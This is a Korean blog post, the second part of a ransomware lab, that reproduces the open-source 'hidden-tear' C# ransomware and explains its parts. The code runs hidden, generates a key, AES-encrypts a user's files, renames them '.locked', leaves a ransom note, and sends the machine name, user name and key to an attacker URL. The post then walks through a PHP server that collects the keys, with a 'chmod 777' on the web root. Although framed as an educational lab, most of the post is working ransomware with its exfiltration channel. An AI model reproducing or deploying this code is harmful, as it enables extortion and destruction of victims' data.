Security
원본 글 보기

[보안] 랜섬웨어 동작 실습 2편: 파일 암호화와 키 전달 과정

[ 이전 글 ] 과 이어지는 랜섬웨어 실습 입니다.

📃 전체 시나리오

(1) 희생자가 해커의 웹 사이트에 접속하면 '드라이브 바이 다운로드' 공격에 의해서 랜썸웨어가 다운 및 실행된다.

(2) 랜섬웨어는 희생자의 컴퓨터의 파일들을 암호화하고, 암호화할 때 사용한 키를 해커의 웹서버에 전송한다.

# 결과

드라이브 바이 다운로드 : 이전 글에서 다룬 실습

📍 환경 준비

🏴‍☠️ 해커

💻 희생자

웹 서버(centos6 php) 웹서버,

비주얼 스튜디오로 악성코드 제작

윈도우7

취약한 인터넷 익스플로러 11로

해커의 사이트에 방문

🏴‍☠️ 랜섬웨어 실습

(1) 희생자의 컴퓨터의 파일들을 암호화

우선 전체 코드는 아래와 같다.



/*
https://github.com/goliate/hidden-tear/blob/master/hidden-tear/hidden-tear/Form1.cs
 _     _     _     _              _                  
| |   (_)   | |   | |            | |                 
| |__  _  __| | __| | ___ _ __   | |_ ___  __ _ _ __ 
| '_ \| |/ _` |/ _` |/ _ \ '_ \  | __/ _ \/ _` | '__|
| | | | | (_| | (_| |  __/ | | | | ||  __/ (_| | |   
|_| |_|_|\__,_|\__,_|\___|_| |_|  \__\___|\__,_|_|  
 
 * Coded by Utku Sen(Jani) / August 2015 Istanbul / utkusen.com 
 * hidden tear may be used only for Educational Purposes. Do not use it as a ransomware!
 */

using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security;
using System.Security.Cryptography;
using System.IO;
using System.Net;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;


namespace hidden_tear
{
public partial class Form1 : Form
    {
//Url to send encryption password and computer info
        string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
        string userName = Environment.UserName;
        string computerName = System.Environment.MachineName.ToString();
        string userDir = "C:\\Users\\";
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
            Opacity = 0;
this.ShowInTaskbar = false;
//starts encryption at form load
startAction();
}
private void Form_Shown(object sender, EventArgs e)
{
            Visible = false;
            Opacity = 100;
}
//AES encryption algorithm
public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
            byte[] encryptedBytes = null;
            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
                        cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                        cs.Close();
}
                    encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
//creates random password for encryption
public string CreatePassword(int length)
{
const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
            StringBuilder res = new StringBuilder();
            Random rnd = new Random();
while (0 < length--){
                res.Append(valid[rnd.Next(valid.Length)]);
}
return res.ToString();
}
//Sends created password target location
public void SendPassword(string password){
            
            string info = computerName + "-" + userName + " " + password;
var fullUrl = targetURL + info;
var conent = new System.Net.WebClient().DownloadString(fullUrl);
}
//Encrypts single file
public void EncryptFile(string file, string password)
{

            byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
            byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
// Hash the password with SHA256
            passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

            byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);

            File.WriteAllBytes(file, bytesEncrypted);
            System.IO.File.Move(file, file+".locked");
}
//encrypts target directory
public void encryptDirectory(string location, string password)
{
//extensions to be encrypt
var validExtensions = new[]
{
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml

📍코드 중요한 부분 설명

1. 복호화 키 값을 전송할 곳



public partial class Form1 : Form
    {
        string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
        string userName = Environment.UserName;
        string computerName = System.Environment.MachineName.ToString();
        string userDir = "C:\\Users\\";

string targetURL : 복호화 키 값을 전송할 URL.

2. 암호화 시킬 파일의 확장자



public void encryptDirectory(string location, string password)
{
//extensions to be encrypt
var validExtensions = new[]
{
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
};


해당 포스팅에서는 txt만 사용.

3. 암호화 시킬 파일의 경로, 협박 메시지(READ IT) 파일 생성



 public void startAction()
{
            string password = CreatePassword(15);
            string path = "\\Desktop\\test";
            string startPath = userDir + userName + path;
SendPassword(password);
encryptDirectory(startPath,password);
messageCreator();
            password = null;
            System.Windows.Forms.Application.Exit();
}
public void messageCreator()
{
            string path = "\\Desktop\\test\\READ_IT.txt";
            string fullpath = userDir + userName + path;
            string[] lines = { "Files has been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk." };
            System.IO.File.WriteAllLines(fullpath, lines);
}

(2) 암호화할 때 사용한 키를 해커의 웹서버에 전송

위 코드의 암호화 시 사용한 키를 해커의 웹서버에 저장하는 것에 대한 실습이다.



public partial class Form1 : Form
    {
        string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
        string userName = Environment.UserName;
        string computerName = System.Environment.MachineName.ToString();
        string userDir = "C:\\Users\\";

centOS6 (Apache, Php가 깔려있는 서버)에 cd /var/www/html 경로에 php파일 생성.

안에 내용:

string key 를 리퀘스트 파라미터로 받는 것.

저장 후 나와서 다른 컴퓨터에서 이 파일이 작동하는지 확인해본다.

이것을 이제 파일로 저장.

저장 후, 파일 권한을 chmod 777로 변경.



chmod 777 /var/www/html/

그리고 나와서 보면 minji.php 파일만 있다.

url로 접속해서 값을 넣어주고, 다시 확인해 보자.

key.txt 파일이 생겼고,

파일 내용이 방금 입력해준 1로 되어 있다.

// a : 내용 추가 라서, 넣어주는 값이 계속 추가된다.